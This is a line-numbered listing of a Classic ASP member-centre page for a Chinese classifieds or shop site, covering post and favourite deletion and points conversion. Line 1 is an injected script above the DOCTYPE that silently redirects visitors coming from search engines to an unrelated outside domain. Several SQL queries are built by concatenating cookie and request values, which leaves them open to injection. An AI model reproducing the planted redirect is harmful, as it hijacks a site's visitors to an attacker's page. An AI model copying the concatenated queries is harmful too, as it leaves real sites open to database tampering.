d:\wwwroot\wuchunhua\shop

d:\wwwroot\wuchunhua\shop_user.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002: 
003: 
004: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
005: <html xmlns="http://www.w3.org/1999/xhtml">
006: <head>
007: <meta http-equiv="Content-Language" content="zh-cn">
008: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
009: <title><%=title%>-会员管理中心</title>
010: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
011: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
012: <link href="inc/style.css" rel="stylesheet" type="text/css" />
013: <SCRIPT language=JavaScript>
014: function CheckAll(form)
015:   {
016:   for (var i=0;i<form.elements.length;i++)
017:     {
018:     var e = form.elements[i];
019:     if (e.name != 'chkall' )
020:        e.checked = form.chkall.checked;
021:     }
022:   }
023: function loadThreadFollow(t_id,b_id){
024:    var targetImg =eval("document.all.followImg" + t_id);
025:    var targetDiv =eval("document.all.follow" + t_id);
026:
027:    if ("object"==typeof(targetImg)){
028:       if (targetDiv.style.display!='block'){
029:          targetDiv.style.display="block";
030:
031:       }else{
032:          targetDiv.style.display="none";
033:       }
034:    }
035: }
036: //-->
037: </SCRIPT>
038: </head>
039: <body>
040: <%
041: dim fav
042: fav=Request("fav")
043: %>
044: <div id="Fmain">
045: <div id="header">
046: <%call top()%>
047: </div>
048: <div class=kon></div>
049: <div id="Uleft">
050:   <div id=FFTit class=F12bold>会员管理中心</div><div id=FFContent><div Class='FFdiv'>
051:   
052:   </div></div></div>
053: <div id="Uright">
054:   <div id=FFTit class=F12bold><%=request.cookies("kqiqi")("username")%>的管理中心</div><div id=FFContent><div Class='FFdiv'>
055: <%dim Q
056: Q=request("q")
057: if Q="q1" then
058: %>
059: <table cellpadding="0" width="100%">
060: <%
061: if fav<>"" then
062: username=request.cookies("kqiqi")("username")
063: id=trim(request("selectedid"))
064: if trim(id)="" then
065: response.write "<script language=JavaScript>" & chr(13) & "alert('没有选择记录！');" & "history.back()" & "</script>"
066: response.end
067: end if
068: str2=split(id,",")
069: set rs=server.createobject("adodb.recordset")
070: for i=0 to ubound(str2)
071: sql="select * from [kqiqi_info] where username='"&username&"' and id="&cstr(str2(i))
072: rs.open sql,conn,1,1
073: 'On Error Resume Next
074: if rs("tupian")<>"" then
075:    tupian=rs("tupian")
076:    fileExt=lcase(right(tupian,4))
077:    if fileEXT=".gif" or fileEXT=".jpg" then
078:    call deltu()
079:    end if
080: end if
081: rs.close
082: sql="delete from [kqiqi_info] where username='"&username&"' and id="&cstr(str2(i))
083: rs.open sql,conn,1,3
084: sql1="delete from [kqiqi_fav] where username='"&username&"' and scid='"&cstr(str2(i))&"' "
085: rs.open sql1,conn,1,3
086: sql2="delete from [reply] where xxid='"&cstr(str2(i))&"' "
087: rs.open sql2,conn,1,3
088: next
089: response.write "<script language=JavaScript>" & chr(13) & "alert('删除信息成功！');" & "window.location='?q=q1'" & "</script>"
090: response.end
091: rs.close
092: set rs=nothing
093: closedb
094: 'sub deltu()
095: 'Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
096: 'if objFSO.fileExists(Server.MapPath("uppicture\"&tupian)) then
097: 'objFSO.DeleteFile(Server.MapPath("uppicture\"&tupian))
098: 'end if
099: 'set objfso=nothing
100: 'end sub
101: sub deltu()
102: dim whichfile
103: whichfile=server.mappath("\"& tupian & "")
104: Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
105: if objFSO.fileExists(whichfile) then
106: objFSO.DeleteFile(whichfile)
107: end if
108: set objfso=nothing
109: end sub
110:
111: else%>
112: <FORM name=thisForm action="?q=q1" method=POST>
113: <tr>
114: <td width="6%" align="center" class="userbg">编号
115: </td>
116: <td width="44%" align="center" class="userbg">标          题</td>
117: <td width="12%" align="center" class="userbg">浏览/回复</td>
118: <td width="14%" align="center" class="userbg">发布时间</td>
119: <td width="11%" align="center" class="userbg">管理操作</td>
120: <td width="4%" align="center" class="userbg">验证</td>
121: <td width="8%" align="center" class="userbg">选择</td>
122: </tr>
123: <%
124: 'dim ThisPage,Pagesize,Allrecord,Allpage
125: i=0
126: ii=1
127: if request("page")="" then
128:   ThisPage=1
129: else
130:   ThisPage=request("page")
131: end if
132: username=request.cookies("kqiqi")("username")
133: set rs = Server.CreateObject("ADODB.RecordSet")
134: sql="select id,biaoti,llcs,hfcs,fbsj,a,b,yz,xurl from [kqiqi_info] where username='"&username&"' order by fbsj desc,b"
135: rs.open sql,conn,1,1
136: if rs.eof then
137: response.write "<tr><td></td><td><li>没有记录</td></tr>"
138: else
139: rs.Pagesize=10
140: Pagesize=rs.Pagesize
141: Allrecord=rs.Recordcount
142: Allpage=rs.Pagecount
143: if ThisPage<1 then
144: ThisPage=1
145: end if
146: On Error Resume Next
147: rs.move (ThisPage-1)*Pagesize
148: do while not rs.eof
149: b=trim(rs("b"))
150: bb=len(b)
151: id=rs("id")
152: %>
153: <tr>
154: <td width="6%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1">
155: <%=i+1%>
156: </td>
157: <td width="44%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1">
158: <p align="left"><a target="_blank" href="<%=rs("xurl")%>"><%if rs("yuijian")="0" then%><%=rs("biaoti")%><%else%><font color="#<%=rs("a")%>"><%=rs("biaoti")%></font><%end if%></a>
159: </td>
160: <td width="12%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%=rs("llcs")%>/<%=rs("hfcs")%>
161: </td>
162: <td width="14%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%=datevalue(rs("fbsj"))%>
163: </td>
164: <td width="11%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><font color="#666666"><span id="followImg<%=i%>" style="CURSOR: hand" onclick="loadThreadFollow(<%=i%>,5)">修改</span></font>
165: </td>
166: <td width="4%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%if rs("yz")=1 then%><font color="#008000">√</font><%else%><font color="#FF0000">ⅹ</font><%end if%>
167: </td>
168: <td width="8%" height="26" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><input type="checkbox" name="selectedid" value="<%=id%>">
169: </td>
170: </tr>
171: <tr style="display:none" id="follow<%=i%>">
172: <td width="101%" height="25" align="center" style="border-bottom-style: none; border-bottom-width: medium" colspan="7">
173: <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" height="100%">
174: <tr>
175: <td width="19%" style="border-bottom-style: solid; border-bottom-width: 1" bordercolor="#E1E1E1" align="center"><font color="#CC5200">信息编号：<%=id%></font>
176: </td>
177: <td width="39%" style="border-bottom-style: solid; border-bottom-width: 1" bordercolor="#E1E1E1" align="center"><a href="#" ONCLICK="window.open('informaiton_edit.asp?id=<%=id%>','Sample','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,copyhistory=no,width=650,height=600,left=300,top=100')"><font color="blue">修改刷新</font></a><font color="#999999">（刷新可将您的信息排在前例）</font>
178: </td>
179: <td width="18%" style="border-bottom-style: solid; border-bottom-width: 1" bordercolor="#E1E1E1" align="center"><%if rs("yz")=1 then%><font color="#CC0000">已验证</font><%else%>未验证<%end if%>
180: </td>
181: </tr>
182: </table>
183: </td>
184: </tr>
185: <%
186: i=i+1
187: rs.movenext
188: if i>=Pagesize then exit do
189: loop
190: end if
191: %>
192: <tr>
193: <td width="99%" height="25" colspan="7">
194: <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" height="49">
195: <tr>
196: <td height="25" width="151">
197: <p align="center">
198: </td>
199: <td height="25" width="126">
200: <p align="center">
201: </td>
202: <td height="25" width="118">
203: <p align="right">
204: </td>
205: <td height="25" width="200">
206: <p align="center"><INPUT onclick=CheckAll(this.form) type=checkbox value=on name=chkall>选中所有记录 <input onclick=javascript:showoperatealert(1) type="submit" value="删除" name="fav">
207: </td>
208: </tr>
209: <tr>
210: <td height="25" width="151" align="center" class="userbg">共有 <font color="#CC5200"><%=Allrecord%></font> 条记录
211: </td>
212: <td height="25" width="126" align="center" class="userbg">共 <font color="#CC5200"><%=Allpage%></font> 页</td><td height="25" width="118" align="center" class="userbg">现在是第 <font color="#CC5200"><%=ThisPage%></font> 页
213: </td>
214: <td height="25" width="200" align="center" class="userbg">
215: <%
216: if ThisPage<2 then
217: response.write "<font color=""#808080"">首页</font> "
218: response.write "<font color=""#808080"">上一页</font> "
219: else
220: response.write "<a href=?q=q1&page=1>首页</a> "
221: response.write "<a href=?q=q1&page="&ThisPage-1&">上一页</a> "
222: end if
223: if Allpage-ThisPage<1 then
224: response.write "<font color=""#808080"">下一页</font> "
225: response.write "<font color=""#808080"">尾页</font> "
226: else
227: response.write "<a href=?q=q1&page="&(ThisPage+1)&">下一页</a> "
228: response.write "<a href=?q=q1&page="&Allpage&">尾页</a> "
229: end if
230: %>
231: </td>
232: </tr>
233: </table>
234: </td>
235: </tr>
236: </form>
237: <%end if%>
238: </table>
239: <%end if
240: if Q="fav" then%>
241: <table cellpadding="0" class="td" width="100%">
242: <SCRIPT language=JavaScript>
243: function CheckAll(form)
244:   {
245:   for (var i=0;i<form.elements.length;i++)
246:     {
247:     var e = form.elements[i];
248:     if (e.name != 'chkall' )
249:        e.checked = form.chkall.checked;
250:     }
251:   }
252: //-->
253: </SCRIPT>
254: <%if fav<>"" then
255: username=request.cookies("kqiqi")("username")
256: id=trim(request("selectedid"))
257: if trim(id)="" then
258: response.write "<script language=JavaScript>" & chr(13) & "alert('没有选择记录！');" & "history.back()" & "</script>"
259: response.end
260: end if
261: str2=split(id,",")
262: set rs=server.createobject("adodb.recordset")
263: for i=0 to ubound(str2)
264: sql="delete from [kqiqi_fav] where username='"&username&"' and id="&cstr(str2(i))
265: rs.open sql,conn,1,3
266: next
267: response.write "<script language=JavaScript>" & chr(13) & "alert('删除收藏成功！');" & "window.location='?q=fav'" & "</script>"
268: response.end
269: else%>
270: <FORM name=thisForm action="?q=fav" method=POST>
271: <tr>
272: <td width="6%" align="center" class="userbg"><p>编号</td>
273: <td width="59%" align="center" class="userbg">标          题</td>
274: <td width="15%" align="center" class="userbg">发布人</td>
275: <td width="17%" align="center" class="userbg">收藏时间</td>
276: <td width="4%" align="center" class="userbg">选</td>
277: </tr>
278: <%
279: i=0
280: if request("page")="" then
281:   ThisPage=1
282: else
283:   ThisPage=request("page")
284: end if
285: username=request.cookies("kqiqi")("username")
286: set rs = Server.CreateObject("ADODB.RecordSet")
287: sql="select * from [kqiqi_fav] where username='"&username&"' order by scsj desc"
288: rs.open sql,conn,1,1
289: if rs.eof then
290: response.write "<tr><td></td><td><li>没有收藏记录</td></tr>"
291: else
292: rs.Pagesize=10
293: Pagesize=rs.Pagesize
294: Allrecord=rs.Recordcount
295: Allpage=rs.Pagecount
296: if ThisPage<1 then
297: ThisPage=1
298: end if
299: On Error Resume Next
300: rs.move (ThisPage-1)*Pagesize
301: do while not rs.eof
302: %>
303: <tr>
304: <td width="6%" height="25" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%=i+1%> </td>
305: <%
306: set rs1 = Server.CreateObject("ADODB.RecordSet")
307: sql1="select biaoti,name,a,b,xurl from [kqiqi_info] where id="&cstr(rs("scid"))
308: rs1.open sql1,conn,1,1
309: b=trim(rs1("b"))
310: bb=len(b)
311: On Error Resume Next
312: %>
313: <td width="59%" height="25" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><p align="left"><a target="_blank" href="<%=rs1("xurl")%>"><%if rs1("tuijian")="0" then%><%=rs1("biaoti")%><%else%><font color="#<%=rs1("a")%>"><%=rs1("biaoti")%></font><%end if%></a>
314: </td>
315: <td width="15%" height="25" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%=rs1("name")%>
316: </td>
317: <%
318: rs1.close
319: set rs1=nothing
320: %>
321: <td width="17%" height="25" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><%=datevalue(rs("scsj"))%> </td><td width="4%" height="25" align="center" bordercolor="#E1E1E1" style="border-bottom-style: solid; border-bottom-width: 1"><input type="checkbox" name="selectedid" value="<%=rs("id")%>">
322: </td>
323: </tr>
324: <%
325: i=i+1
326: rs.movenext
327: if i>=Pagesize then exit do
328: loop
329: end if
330: %>
331: <tr>
332: <td width="99%" height="25" colspan="5">
333: <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
334: <tr>
335: <td height="25" width="151">
336: <p align="center">
337: </td>
338: <td height="25" width="126">
339: <p align="center">
340: </td>
341: <td height="25" width="118">
342: <p align="right">
343: </td>
344: <td height="25" width="200">
345: <p align="center">
346: <INPUT onclick=CheckAll(this.form) type=checkbox value=on name=chkall>选中所有记录   <input onclick=javascript:showoperatealert(1) type="submit" value="删除" name="fav">
347: </td>
348: </tr>
349: <tr>
350: <td height="25" width="151" align="center" class="userbg">共有 <font color="#CC5200"><%=Allrecord%></font> 条记录
351: </td>
352: <td height="25" width="126" align="center" class="userbg">共 <font color="#CC5200"><%=Allpage%></font> 页
353: </td>
354: <td height="25" width="118" align="center" class="userbg">现在是第 <font color="#CC5200"><%=ThisPage%></font> 页
355: </td>
356: <td height="25" width="200" align="center" class="userbg">
357: <%
358: if ThisPage<2 then
359: response.write "<font color=""#808080"">首页</font> "
360: response.write "<font color=""#808080"">上一页</font> "
361: else
362: response.write "<a href=?q=fav&page=1>首页</a> "
363: response.write "<a href=?q=fav&page="&ThisPage-1&">上一页</a> "
364: end if
365: if Allpage-ThisPage<1 then
366: response.write "<font color=""#808080"">下一页</font> "
367: response.write "<font color=""#808080"">尾页</font> "
368: else
369: response.write "<a href=?q=fav&page="&(ThisPage+1)&">下一页</a> "
370: response.write "<a href=?q=fav&page="&Allpage&">尾页</a> "
371: end if
372: %>
373: </td>
374: </tr>
375: </table>
376: </td>
377: </tr>
378: </form>
379: <%end if%>
380: </table>
381: <%end if
382: if Q="" or Q="main" then%>
383: <table class="td" cellpadding="0" width="100%">
384: <%
385: username=request.cookies("kqiqi")("username")
386: set rs=conn.execute("select count(id) from [kqiqi_info] where username='"&username&"'")
387: m=rs(0)
388: rs.close
389: set rs=server.createobject("adodb.recordset")
390: sql = "select * from [kqiqi_shop] where username='"&username&"'"
391: rs.open sql,conn,1,1
392: jf=rs("jf")
393: if request("kqiqi")="jf_hb" then
394: dim rsjf_hb,sqljf_hb,g_s
395: set rsjf_hb=server.createobject("adodb.recordset")
396: sqljf_hb = "select jf,hb from [kqiqi_shop] where username='"&username&"'"
397: rsjf_hb.open sqljf_hb,conn,1,3
398: if rsjf_hb("jf")<int(request("jf")) then
399: response.write "<script language=JavaScript>" & chr(13) & "alert('未知错误！');" & "history.back()" & "</script>"
400: response.end
401: end if
402: if rsjf_hb("jf")<int(jf_hb) then
403: response.write "<script language=JavaScript>" & chr(13) & "alert('您的积分不足，加油！');" & "history.back()" & "</script>"
404: response.end
405: end if
406: g_s=int(rsjf_hb("jf")/jf_hb)
407: rsjf_hb("jf")=rsjf_hb("jf")-int(g_s*jf_hb)
408: rsjf_hb("hb")=rsjf_hb("hb")+g_s
409: rsjf_hb.update
410: rsjf_hb.close
411: set rsjf_hb=nothing
412: response.write "<script language=JavaScript>" & chr(13) & "alert('恭喜，转换成功！');" & "history.back()" & "</script>"
413: end if
414:
415: if rs.bof or rs.eof then
416: response.write"用户信息被管理员删除或管理员没有通过验证"
417: else
418: %>
419: <tr>
420: <td height="30" align="center">
421: <img border="0" src="image/point05.gif">登陆次数：<%=rs("dlcs")%>次</td>
422: <td align="center"><img border="0" src="image/point05.gif">我的客币：<%=rs("hb")%>元</td>
423: <td align="center"><img border="0" src="image/point05.gif">邮件地址：<%=rs("email")%></td>
424: <td align="center"><img border="0" src="image/point05.gif">会员状态：<b><font color="#FF0000">商家用户-<% if request.cookies("kqiqi")("vip")=1 then Response.Write "vip会员" else Response.Write "普通会员" end if%></font></b></td>
425: </tr>
426: <tr>
427: <td height="30" align="center"><img border="0" src="image/point05.gif">发布信息：<%=m%>条</td>
428: <td align="center"><img border="0" src="image/point05.gif">积分总数：<%=rs("jf")%>分</td>
429: <td align="center"><img border="0" src="image/point05.gif">注册时间：<%=rs("zcdata")%></td>
430: <td align="center"><img border="0" src="image/point05.gif">最后登录：<%=rs("lastdl")%></td>
431: </tr>
432: <tr>
433: <td width="802" height="25" colspan="4" class="userbg">
434:  用户须知</td>
435: </tr>
436: <tr>
437: <td width="802" height="25" colspan="4">
438: <font color="#FF0000">本站VIP商家以赞助方式支持本站发展加盟，以便给市民带来更好的服务，VIP商家只需1元一天，并送1000客币用于置顶您的信息!
439: </font>
440: </td>
441: </tr>
442: <tr>
443: <td width="802" height="25" colspan="4">
444: 用户积分，客币制度是什么?</td>
445: </tr>
446: <tr>
447: <td width="802" height="25" colspan="4">
448: 答：新注册用户系统自动赠送积分和客币，您每发布一条信息系统自动为您加3积分，每次登入加2积分。</td>
449: </tr>
450: <tr>
451: <td width="802" height="25" colspan="4">
452: 积分和客币有什么用？</td>
453: </tr>
454: <tr>
455: <td width="802" height="25" colspan="4">
456: 答：积分可以兑换客币，客币可以用来置顶您的信息。</td>
457: </tr>
458: <tr>
459: <td width="802" height="25" class=userbg colspan="5"> 积分转换     
460: 只要您天天登陆本站,就可以不断增加您的积分哟</td>
461: </tr>
462: <tr>
463: <td width="802" height="23" colspan="5">当前您的积分是：<font color="#FF0000"><%=rs("jf")%></font></td>
464: </tr>
465: <tr>
466: <td width="802" height="23" colspan="5">本站可以用 <font color="#FF0000"> <%=jf_hb%></font> 积分转换
467: <font color="#FF0000">1</font> 个客币</td>
468: </tr>
469: <tr>
470: <td width="802" height="23" colspan="5">您的积分可以转换 <font color="#FF0000"><%=int(jf/jf_hb)%></font>
471: 个客币，剩余的积分我们将予以保留。</td>
472: </tr>
473: <form method="POST" action="?kqiqi=jf_hb">
474: <tr>
475: <td width="802" height="23" colspan="5">是否要转换客币：<input type="hidden" name="jf" size="7" value="<%=jf%>"><input type="submit" value="我要转换" name="jf_hb"></td>
476: </tr>
477: </form>
478: <tr>
479: <td colspan="4" class="userbg">
480:    <p align="center"> 会员须知</td>
481:    </tr>
482:    <tr>
483:    <td width="802" height="25" colspan="4" valign="top">
484:    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" height="1">
485:    <tr>
486:    <td width="802" height="34">
487:     登陆本站/发布信息获得积分→积分转换成客币→用客币发布您的个性信息<br>
488:    <%if rs("yz")<>1 then%>
489:    <br>
490:     您的店铺不被通过或被删除(3个月以外)的可能：<br>
491:     ①.您的基本资料不完整或不吻合<br>
492:     ②.店铺物品/信息数量小于等于5件/条<br>
493:     ③.您的信息资料有重大欺骗性质<br>
494:    <%end if%><br> 友情提示：您可以通过“管理商品信息”-“管理操作”-“修改刷新”从新刷新发布您的信息来节省您的客币
495:    </td>
496:    </tr>
497:    <tr>
498:    <td width="100%" height="1"></td>
499:    </tr>
500:    </table>
501:    </td>
502:    </tr>
503:    </table>
504:    <%end if%>
505:     </div></div></div>
506:     <br style="clear:both;" />
507: <div class=kon></div>
508: <div class=kon></div>
509: <div id="footer">
510: <%
511: call bottom()
512: %>
513: </div>
514: </div>
515:      </body>
516:      </html>
517:      <%
518: rs.close
519: set rs=nothing
520: closedb
521: end if
522: %>
523:
524: